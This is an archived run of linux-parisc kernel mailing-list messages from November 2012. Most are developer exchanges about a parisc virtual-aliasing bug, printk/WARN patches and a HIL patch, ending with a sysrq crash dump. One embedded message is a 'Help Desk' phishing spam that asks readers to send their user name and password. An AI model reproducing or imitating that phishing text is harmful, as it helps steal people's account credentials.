> 	for (vma = find_vma(current->mm, addr); ; vma = vma->vm_next) {


I have the sense that this may fix
http://thread.gmane.org/gmane.linux.ports.parisc/4027/focus=4278
as I haven't seen the problem since I added the above change to my
patch list.

The check for inequivalent aliases in flush_dcache_page isn't  
perfect.  I've only seen
it trigger when a core dump is generated.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michel Lespinasse <walken@google.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: possible virtual aliasing issues on parisc ?
Date: Sun, 4 Nov 2012 17:54:03 -0800
Lines: 26
Approved: news@gmane.org
Message-ID: <CANN689GfUiECXxCkQUo42OmLfg5yhziQ2YrD+xn7eWzZSWwk_Q@mail.gmail.com>
References: <CANN689E4p3woSkdLavyyPA2gZUmVvOAW4w0R6fo9exRPQDa=JA@mail.gmail.com>
	<1351848864.2439.18.camel@dabdike.int.hansenpartnership.com>
	<1351854504.2439.20.camel@dabdike.int.hansenpartnership.com>
	<CANN689HPeQhYCDcFenTH35iBL8zV7vpHvsQUJQOD=Vz3Z9D3bQ@mail.gmail.com>
	<1351859453.2439.24.camel@dabdike.int.hansenpartnership.com>
	<BLU0-SMTP69F46452FE3E7DDDF6109997640@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1352080449 18620 80.91.229.3 (5 Nov 2012 01:54:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 5 Nov 2012 01:54:09 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@hansenpartnership.com>,
	Helge Deller <deller@gmx.de>,
	Parisc List <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 05 02:54:18 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TVBtJ-0000G7-A6
	for glpp-linux-parisc@plane.gmane.org; Mon, 05 Nov 2012 02:54:17 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751352Ab2KEByG (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 4 Nov 2012 20:54:06 -0500
Original-Received: from mail-vb0-f46.google.com ([209.85.212.46]:48396 "EHLO
	mail-vb0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751035Ab2KEByF (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 4 Nov 2012 20:54:05 -0500
Original-Received: by mail-vb0-f46.google.com with SMTP id ff1so5427064vbb.19
        for <linux-parisc@vger.kernel.org>; Sun, 04 Nov 2012 17:54:03 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type:x-system-of-record;
        bh=LaM7vUSvYdL2m3rw2yl2bq7gn/vwO+WWfGfbOV+6gYc=;
        b=I6rRNzHtV6mSy61qDwPc9u3sNT2YijwPSh/N5y1AEFLtfMt/XUOyBGAyLv5v8DPRm9
         LLR5cmsPONSRr7p30euLUwDtvnEAm3scusLHYt51lXLRRQYIsjsHyR8oCbODVhfskZtW
         g3h6axOIe1qkVwNQWSED/ca4dOeaIJ3x/5bRI+ykI/qRB0Zh2s5NfsqmM+WpdLdqYfIu
         lVmCLeEZ6VqPP8G/iSUNyJATyd4xLv/QbTHqbW4+fI+KAcwtWVY+drAadnboS2FSJOvg
         OQsXF1ekFRdFhJL4CnqLj1PFdtDqymtguIGsCkChUanyngZTWhy+oV41XZ+/cqnKaRzO
         1/dg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type:x-system-of-record:x-gm-message-state;
        bh=LaM7vUSvYdL2m3rw2yl2bq7gn/vwO+WWfGfbOV+6gYc=;
        b=ApkHpTCSXNlvR9Ayk88AqhXpZ4EBrekdrez0CJWq4LbCySkmDQEz5awm5hUuTH1uN9
         CEdf0rIuXINT8lrrRNR+HF1NuS59+p3rAzEeQBbi2QE4d6tdg5QShQPAA+eyERKRI6Ck
         tSAoOvfO3G7WFsnww1ACev4uaEHl5h2Gwi7V7Ka6x1DqMpt63DIJ29W+mZ+fatTQCP13
         qZFJuRLESHkQjIec4/wOvP2TtZ8veSgFebqCNp/ulI0ivVdHLX4jk7ZOncIvNxSL6jfu
         9JM44kV/t2LplNkvdB0WRfHM2hnuz3oASdpy3vsvIob70u1AieQo4hktOweXbZGLVCsX
         dXZA==
Original-Received: by 10.220.107.146 with SMTP id b18mr8034995vcp.48.1352080443613;
 Sun, 04 Nov 2012 17:54:03 -0800 (PST)
Original-Received: by 10.58.6.235 with HTTP; Sun, 4 Nov 2012 17:54:03 -0800 (PST)
In-Reply-To: <BLU0-SMTP69F46452FE3E7DDDF6109997640@phx.gbl>
X-System-Of-Record: true
X-Gm-Message-State: ALoCoQknPBup3M32Tl3lSIakNB8dbSpxj2Az/XewZlq+hll1erKy8wGv+5R28foVWDO2fEfQ1SS5qQkKW6HVj55H1SwVsLuArfIx3iQ9TYbilxWvIjizMDxhFqFjJsDZlphyCSm+pOBsdnyzsfBdsx/CDy9ekrfhT0qb6va18LWcPVWYGe+dcvkogFvJSk05JV5qQ4oAADeyExzBt4HX2o6HyhDXs8vLxw==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4665
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4665>

On Sun, Nov 4, 2012 at 4:29 PM, John David Anglin <dave.anglin@bell.net> wrote:
> I have the sense that this may fix
> http://thread.gmane.org/gmane.linux.ports.parisc/4027/focus=4278
> as I haven't seen the problem since I added the above change to my
> patch list.

I don't have parisc machines myself to test on; however if you could
confirm that this workload does cause arch_get_unmapped_area() to be
called with (flags & MAP_SHARED) set and (pgoff % 1024) != 0, I think
this would be a good enough smoking gun to blame the bug on this.

Regarding fixes: I'm going to try and send my vma gap finder patchset
this week for possible integration into andrew's -mm tree. There will
be one parisc patch in that set which will include the fix for this
coloring issue. Of course, feel free to apply James's minimal fix
before then; I am just sending this heads up as we're likely to end up
with a conflict between both fixes in -next if we go that way :)

-- 
Michel "Walken" Lespinasse
A program is never fully debugged until the last user dies.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Sterba <dave@jikos.cz>
Newsgroups: gmane.comp.file-systems.ext4,gmane.linux.kernel,gmane.linux.network,gmane.comp.video.dri.devel,gmane.linux.kernel.debugging.kgdb.bugs,gmane.linux.file-systems.logfs,gmane.comp.file-systems.btrfs,gmane.linux.ports.parisc,gmane.linux.drivers.rdma,gmane.linux.raid,gmane.linux.usb.general,gmane.linux.scsi
Subject: Re: merging printk and WARN
Date: Mon, 5 Nov 2012 16:42:32 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <20121105154232.GL3102@twin.jikos.cz>
References: <alpine.DEB.2.02.1211042120200.1960@localhost6.localdomain6>
Reply-To: dave@jikos.cz
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1352130471 19876 80.91.229.3 (5 Nov 2012 15:47:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 5 Nov 2012 15:47:51 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, airlied@linux.ie,
	netdev@vger.kernel.org, arnd@arndb.de, joern@logfs.org,
	chris.mason@fusionio.com, m@bues.ch, jejb@parisc-linux.org,
	faisal.latif@intel.com, neilb@suse.de, gregkh@linuxfoundation.org,
	JBottomley@parallels.com, swise@chelsio.com,
	achim_leubner@adaptec.com, tytso@mit.edu,
	dri-devel@lists.freedesktop.org, jason.wessel@windriver.com,
	kgdb-bugreport@lists.sourceforge.net,
	Prasad Joshi <prasadjoshi.linux@gmail.com>, logfs@logfs.org,
	linux-btrfs@vger.kernel.org, Helge Deller <deller@gmx.de>,
	linux-parisc@vger.kernel.org, Roland Dreier <roland@kernel.org>,
	Sean Hefty <sean.hefty@intel.com>, hal.rosenstock@gmail.com,
	linux-rdma@vger.kernel.org, linux-raid@vger.kernel.org,
	linux-usb@vger.kernel.org, linux-scsi@vger.kernel.org,
	Andreas Dilger <adilger.kernel@dilger.ca>,
	linux-ext4@vger.kernel.org
To: Julia Lawall <julia.lawall@lip6.fr>
Original-X-From: linux-ext4-owner@vger.kernel.org Mon Nov 05 16:47:54 2012
Return-path: <linux-ext4-owner@vger.kernel.org>
Envelope-to: gcfe-linux-ext4@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-ext4-owner@vger.kernel.org>)
	id 1TVOu0-0000lh-5w
	for gcfe-linux-ext4@plane.gmane.org; Mon, 05 Nov 2012 16:47:52 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750895Ab2KEPrl (ORCPT <rfc822;gcfe-linux-ext4@m.gmane.org>);
	Mon, 5 Nov 2012 10:47:41 -0500
Original-Received: from twin.jikos.cz ([89.185.236.188]:54509 "EHLO twin.jikos.cz"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750785Ab2KEPrk (ORCPT <rfc822;linux-ext4@vger.kernel.org>);
	Mon, 5 Nov 2012 10:47:40 -0500
Original-Received: from twin.jikos.cz (dave@localhost [127.0.0.1])
	by twin.jikos.cz (8.13.6/8.13.6) with ESMTP id qA5FgdXa022314
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Mon, 5 Nov 2012 16:42:39 +0100
Original-Received: (from dave@localhost)
	by twin.jikos.cz (8.13.6/8.13.6/Submit) id qA5FgWQa022313;
	Mon, 5 Nov 2012 16:42:32 +0100
Mail-Followup-To: Julia Lawall <julia.lawall@lip6.fr>,
	linux-kernel@vger.kernel.org, airlied@linux.ie,
	netdev@vger.kernel.org, arnd@arndb.de, joern@logfs.org,
	chris.mason@fusionio.com, m@bues.ch, jejb@parisc-linux.org,
	faisal.latif@intel.com, neilb@suse.de, gregkh@linuxfoundation.org,
	JBottomley@parallels.com, swise@chelsio.com,
	achim_leubner@adaptec.com, tytso@mit.edu,
	dri-devel@lists.freedesktop.org, jason.wessel@windriver.com,
	kgdb-bugreport@lists.sourceforge.net,
	Prasad Joshi <prasadjoshi.linux@gmail.com>, logfs@logfs.org,
	linux-btrfs@vger.kernel.org, Helge Deller <deller@gmx.de>,
	linux-parisc@vger.kernel.org, Roland Dreier <roland@kernel.org>,
	Sean Hefty <sean.hefty@intel.com>, hal.rosenstock@gmail.com,
	linux-rdma@vger.kernel.org, linux-raid@vger.kernel.org,
	linux-usb@vger.kernel.org, linux-scsi@vger.kernel.org,
	Andreas Dilger <adilger.kernel@dilger.ca>,
	linux-ext4@v 
Content-Disposition: inline
In-Reply-To: <alpine.DEB.2.02.1211042120200.1960@localhost6.localdomain6>
User-Agent: Mutt/1.5.21 (2011-07-01)
Original-Sender: linux-ext4-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ext4.vger.kernel.org>
X-Mailing-List: linux-ext4@vger.kernel.org
Xref: news.gmane.org gmane.comp.file-systems.ext4:35303 gmane.linux.kernel:1388831 gmane.linux.network:248371 gmane.comp.video.dri.devel:76111 gmane.linux.kernel.debugging.kgdb.bugs:5911 gmane.linux.file-systems.logfs:154 gmane.comp.file-systems.btrfs:21129 gmane.linux.ports.parisc:4666 gmane.linux.drivers.rdma:13788 gmane.linux.raid:40660 gmane.linux.usb.general:74253 gmane.linux.scsi:78536
Archived-At: <http://permalink.gmane.org/gmane.comp.file-systems.ext4/35303>

On Sun, Nov 04, 2012 at 09:25:53PM +0100, Julia Lawall wrote:
> It looks like these patches were not a good idea, because in each case the
> printk provides an error level, and WARN then provides another one.

I think this is not a problem within btrfs at the place where this has
changed.

david
--
To unsubscribe from this list: send the line "unsubscribe linux-ext4" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Help Desk <info@helpdesk.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Scheduled Maintenance & Upgrade
Date: Mon, 05 Nov 2012 18:27:47 -0600
Lines: 45
Approved: news@gmane.org
Message-ID: <20121105182747.16994fx5se9rvb8k@mail.supernet.ao>
Reply-To: tech.team@tech-center.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
 charset=ISO-8859-1;
 DelSp="Yes";
 format="flowed"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1352136473 14145 80.91.229.3 (5 Nov 2012 17:27:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 5 Nov 2012 17:27:53 +0000 (UTC)
To: undisclosed-recipients:;
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 05 18:28:02 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TVQSt-0006Ij-VO
	for glpp-linux-parisc@plane.gmane.org; Mon, 05 Nov 2012 18:28:00 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933032Ab2KER1o (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 5 Nov 2012 12:27:44 -0500
Original-Received: from mail.supernet.ao ([66.110.113.4]:36387 "EHLO mail.supernet.ao"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S932961Ab2KER1n (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 5 Nov 2012 12:27:43 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by mail.supernet.ao (Postfix) with ESMTP id B75233CB7F4;
	Mon,  5 Nov 2012 18:27:50 -0600 (CST)
X-Virus-Scanned: Debian amavisd-new at mail.supernet.ao
Original-Received: from mail.supernet.ao ([127.0.0.1])
	by localhost (mail.supernet.ao [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 9Am8uqJbUyUB; Mon,  5 Nov 2012 18:27:50 -0600 (CST)
Original-Received: by mail.supernet.ao (Postfix, from userid 33)
	id 8B5733CB4DE; Mon,  5 Nov 2012 18:27:49 -0600 (CST)
Original-Received: from 69.31.101.219 ([69.31.101.219]) by mail.supernet.ao (Horde
 Framework) with HTTP; Mon, 05 Nov 2012 18:27:47 -0600
Content-Disposition: inline
User-Agent: Internet Messaging Program (IMP) H3 (4.3.7)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4667
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4667>


Help Desk

Attention Account User,

Scheduled Maintenance & Upgrade

Your account is in the process of being upgraded to a newest  
Windows-based servers and an enhanced online email interface inline  
with internet infrastructure Maintenance. The new servers will provide  
better anti-spam and anti-virus functions, along with IMAP Support for  
mobile devices to enhance your usage.

To ensure that your account is not disrupted but active during and  
after this upgrade, you are required to kindly confirm your account by  
stating the details below:

* User name:
* Password:

This will prompt the upgarde of your account.

Failure to acknowledge the receipt of this notification, might result  
to a temporal deactivation of your account from our database. Your  
account shall remain active upon your confirmation of your login  
details.

We do apologize for any inconvenience caused.

Help Desk Team.

(c) Copyright 2012, All Rights Reserved.





----------------------------------------------------------------
This message was sent using IMP, the Internet Messaging Program.

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dmitry Torokhov <dmitry.torokhov@gmail.com>
Newsgroups: gmane.linux.kernel.input,gmane.linux.ports.parisc
Subject: Re: [PATCH] HIL: remove one goto
Date: Sat, 10 Nov 2012 00:47:49 -0800
Lines: 15
Approved: news@gmane.org
Message-ID: <20121110084749.GC14761@core.coreip.homeip.net>
References: <2837529.xgu9k1gmUb@eto>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1352537275 14017 80.91.229.3 (10 Nov 2012 08:47:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 10 Nov 2012 08:47:55 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-input@vger.kernel.org
To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-input-owner@vger.kernel.org Sat Nov 10 09:48:04 2012
Return-path: <linux-input-owner@vger.kernel.org>
Envelope-to: glki-linux-input-2@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-input-owner@vger.kernel.org>)
	id 1TX6jU-0007YY-9R
	for glki-linux-input-2@plane.gmane.org; Sat, 10 Nov 2012 09:48:04 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751036Ab2KJIry (ORCPT <rfc822;glki-linux-input-2@m.gmane.org>);
	Sat, 10 Nov 2012 03:47:54 -0500
Original-Received: from mail-da0-f46.google.com ([209.85.210.46]:41319 "EHLO
	mail-da0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750745Ab2KJIrx (ORCPT
	<rfc822;linux-input@vger.kernel.org>);
	Sat, 10 Nov 2012 03:47:53 -0500
Original-Received: by mail-da0-f46.google.com with SMTP id n41so2005702dak.19
        for <multiple recipients>; Sat, 10 Nov 2012 00:47:53 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=date:from:to:cc:subject:message-id:references:mime-version
         :content-type:content-disposition:in-reply-to:user-agent;
        bh=yaGIqifbUNOR/1d3VxN7yHNu7WD0Iyzjz9bm+WtbYpE=;
        b=LgJejaW9WRlZ43R6NjK25Rz/xMabSQvPQYKQf9KL8WEsz21HdtkQdZ6APEg7s+I8mw
         rnHGOZVhZitPKuMLjq2XDs84Fz35VXgGkYt1P4YlNUXdQX13YhOZ39nQbJ5Mqn/owDjN
         ND8e9E3ig8m9hBEj9Yiv4TOUdc2jKQqUnJGkMF1V2aCxI0I8aVep2MMKNWcrAKahFwKq
         aarNWNyJtWwnLpDJgPCINgMiN1DyjItvBxnesXjsgF9ndWZxRMWlIKWv74WEcLDRc77o
         Sw7gdjw/FPhOAxK9Pp8vDNkuCL33eH2FVe1svjK4AHpAKDyvur2q5LlwhEAinum67ZTf
         rAzA==
Original-Received: by 10.68.231.3 with SMTP id tc3mr40656478pbc.89.1352537273116;
        Sat, 10 Nov 2012 00:47:53 -0800 (PST)
Original-Received: from mailhub.coreip.homeip.net (c-67-188-112-76.hsd1.ca.comcast.net. [67.188.112.76])
        by mx.google.com with ESMTPS id gl9sm662539pbc.51.2012.11.10.00.47.51
        (version=TLSv1/SSLv3 cipher=OTHER);
        Sat, 10 Nov 2012 00:47:52 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <2837529.xgu9k1gmUb@eto>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-input-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-input.vger.kernel.org>
X-Mailing-List: linux-input@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.input:27894 gmane.linux.ports.parisc:4668
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.input/27894>

On Wed, Oct 31, 2012 at 08:24:34PM +0100, Rolf Eike Beer wrote:
> This goto is only used to skip the next instruction, which can easily be done
> without a goto.
> 
> Signed-off-by: Rolf Eike Beer <eike-kernel@sf-tec.de>

Applied, thank you Rolf.

-- 
Dmitry
--
To unsubscribe from this list: send the line "unsubscribe linux-input" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: possible virtual aliasing issues on parisc ?
Date: Sun, 11 Nov 2012 11:50:14 -0500
Lines: 416
Approved: news@gmane.org
Message-ID: <BLU0-SMTP63B91964718C0B1DCD781E976E0@phx.gbl>
References: <CANN689E4p3woSkdLavyyPA2gZUmVvOAW4w0R6fo9exRPQDa=JA@mail.gmail.com> <1351848864.2439.18.camel@dabdike.int.hansenpartnership.com> <1351854504.2439.20.camel@dabdike.int.hansenpartnership.com> <CANN689HPeQhYCDcFenTH35iBL8zV7vpHvsQUJQOD=Vz3Z9D3bQ@mail.gmail.com> <1351859453.2439.24.camel@dabdike.int.hansenpartnership.com> <BLU0-SMTP69F46452FE3E7DDDF6109997640@phx.gbl> <CANN689GfUiECXxCkQUo42OmLfg5yhziQ2YrD+xn7eWzZSWwk_Q@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: multipart/mixed; boundary="Apple-Mail-2-683259835"
X-Trace: ger.gmane.org 1352652636 6219 80.91.229.3 (11 Nov 2012 16:50:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 11 Nov 2012 16:50:36 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@hansenpartnership.com>,
	Helge Deller <deller@gmx.de>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Michel Lespinasse <walken@google.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Nov 11 17:50:46 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TXak8-00016Q-CI
	for glpp-linux-parisc@plane.gmane.org; Sun, 11 Nov 2012 17:50:44 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752782Ab2KKQue (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 11 Nov 2012 11:50:34 -0500
Original-Received: from blu0-omc4-s22.blu0.hotmail.com ([65.55.111.161]:2331 "EHLO
	blu0-omc4-s22.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751637Ab2KKQud (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 11 Nov 2012 11:50:33 -0500
Original-Received: from BLU0-SMTP63 ([65.55.111.136]) by blu0-omc4-s22.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 11 Nov 2012 08:50:32 -0800
X-Originating-IP: [69.158.131.52]
X-EIP: [B77Dnl2OyrIoSWbV+Il7+OwlfGh2vt3F]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.131.52]) by BLU0-SMTP63.blu0.hotmail.com over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 11 Nov 2012 08:50:30 -0800
In-Reply-To: <CANN689GfUiECXxCkQUo42OmLfg5yhziQ2YrD+xn7eWzZSWwk_Q@mail.gmail.com>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 11 Nov 2012 16:50:30.0932 (UTC) FILETIME=[A8F4C540:01CDC02C]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4669
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4669>

--Apple-Mail-2-683259835
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit

On 4-Nov-12, at 8:54 PM, Michel Lespinasse wrote:

> On Sun, Nov 4, 2012 at 4:29 PM, John David Anglin <dave.anglin@bell.net 
> > wrote:
>> I have the sense that this may fix
>> http://thread.gmane.org/gmane.linux.ports.parisc/4027/focus=4278
>> as I haven't seen the problem since I added the above change to my
>> patch list.
>
> I don't have parisc machines myself to test on; however if you could
> confirm that this workload does cause arch_get_unmapped_area() to be
> called with (flags & MAP_SHARED) set and (pgoff % 1024) != 0, I think
> this would be a good enough smoking gun to blame the bug on this.

I tried the above but it doesn't trigger.  However, I can still  
generate the
problem.  Going back GCC revison 181500, I had a couple of hangs in
cc1plus.  Attached is the sysrq state for the process.  The system  
crashed
almost immediately after I issued did the sysrq.

Dave
--
John David Anglin	dave.anglin@bell.net



--Apple-Mail-2-683259835
Content-Disposition: attachment; filename="sysrq.txt"
Content-Type: text/plain; x-unix-mode=0644; name="sysrq.txt"
Content-Transfer-Encoding: 7bit

With GCC revision 181500:

cc1plus         R  running task        0  4623   4621 0x00000010
Backtrace:
 [<00000000401191f8>] __schedule+0x298/0x608
 [<0000000040119698>] schedule+0x38/0x90
 [<0000000040105074>] intr_return+0x0/0x4
timer_interrupt(CPU 2): delayed! cycles 9456AFC7 rem DEA47  next/now 16C3418E5311/16C3418068CA

mx3210 login: timer_interrupt(CPU 0): delayed! cycles DFC6D584E rem 13F38E  next/now 16FCCB60DE51/16FCCB4CEAC3
BUG: soft lockup - CPU#3 stuck for 4282963078s! [cc1plus:4623]
BUG: soft lockup - CPU#1 stuck for 4282963078s! [swapper/1:0]
BUG: soft lockup - CPU#2 stuck for 4282963078s! [swapper/2:0]
Modules linked in:
Modules linked in:
Modules linked in:
 nfsv3
 nfsv3
 nfsv3
 nfsd
 nfsd
 exportfs
 exportfs
 nfs_acl
 nfs_acl
 nfsd
 nfs
 exportfs
 lockd
 nfs_acl
 nfs
 sunrpc
 lockd
 ipv6
 sunrpc
 ext2
 nfs
 ext3
 lockd
 mbcache
 sunrpc
 jbd
 ipv6
 ipv6
 ext2
 ext2
 zalon7xx
 ext3
 ext3
 lasi700
 mbcache
 53c700
 mbcache
 hilkbd
 jbd
 sd_mod
 jbd
 zalon7xx
 zalon7xx
 crc_t10dif
 lasi700
 lasi700
 53c700
 53c700
 hilkbd
 sg
 hilkbd
 sr_mod
 sd_mod
 sd_mod
 crc_t10dif
 crc_t10dif
 cdrom
 sg
 sg
 sr_mod
 sr_mod
 sym53c8xx
 cdrom
 cdrom
 sym53c8xx
 sym53c8xx
 pata_cmd64x
 pata_cmd64x
 pata_cmd64x
 scsi_transport_spi
 scsi_transport_spi
 scsi_transport_spi
 libata
 libata
 libata
 tg3
 tg3
 scsi_mod

 scsi_mod

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI

PSW: 00001000000001001111111100001111 Not tainted
 tg3 scsi_mod
r00-03  000000ff0804ff0f 000000004065cd20 00000000401277a8 000000007f4d81e0

r04-07  000000004064c520 0000000000000002 00000000fffffff0 0000000000000002
     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
r08-11  000000f0f0d08440 0200000000000000 000000000804000e 0000000040673554
PSW: 00001000000001001111111100001111 Not tainted
r12-15  ffffffffffffffff 7fffffffffffffff ffffffffffffffff ffffffffffffffff
r16-19  fffffff0f0d00b0c ffffffffffff7fbf ffffffffffffffff 000000000800000e
r00-03  000000ff0804ff0f 000000004065cd20 00000000401277a8 000000007f4d41e0
r20-23  0000000002185000 0000000000000001 000000007cf81380 000000000800000e
r04-07  000000004064c520 0000000000000001 00000000fffffff0 0000000000000001
r24-27  000000000800000e 000000007f5f8810 0000000042824ba0 000000004064c520
r08-11  000000f0f0d08440 0100000000000000 000000000804000e 0000000040673554
r28-31  0000000000000008 000000007f4d81e0 000000007f4d8210 0000000000000001
r12-15  ffffffffffffff7f bffffffff6ff5ffe ffffffffffffffff ffffffffffffffff
sr00-03  000000000069a000 000000000069a000 0000000000000000 000000000069a000
r16-19  fffffff0f0d00b0c fdffdffff6be5ffe fffffffffffffffe 000000000800000e
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000
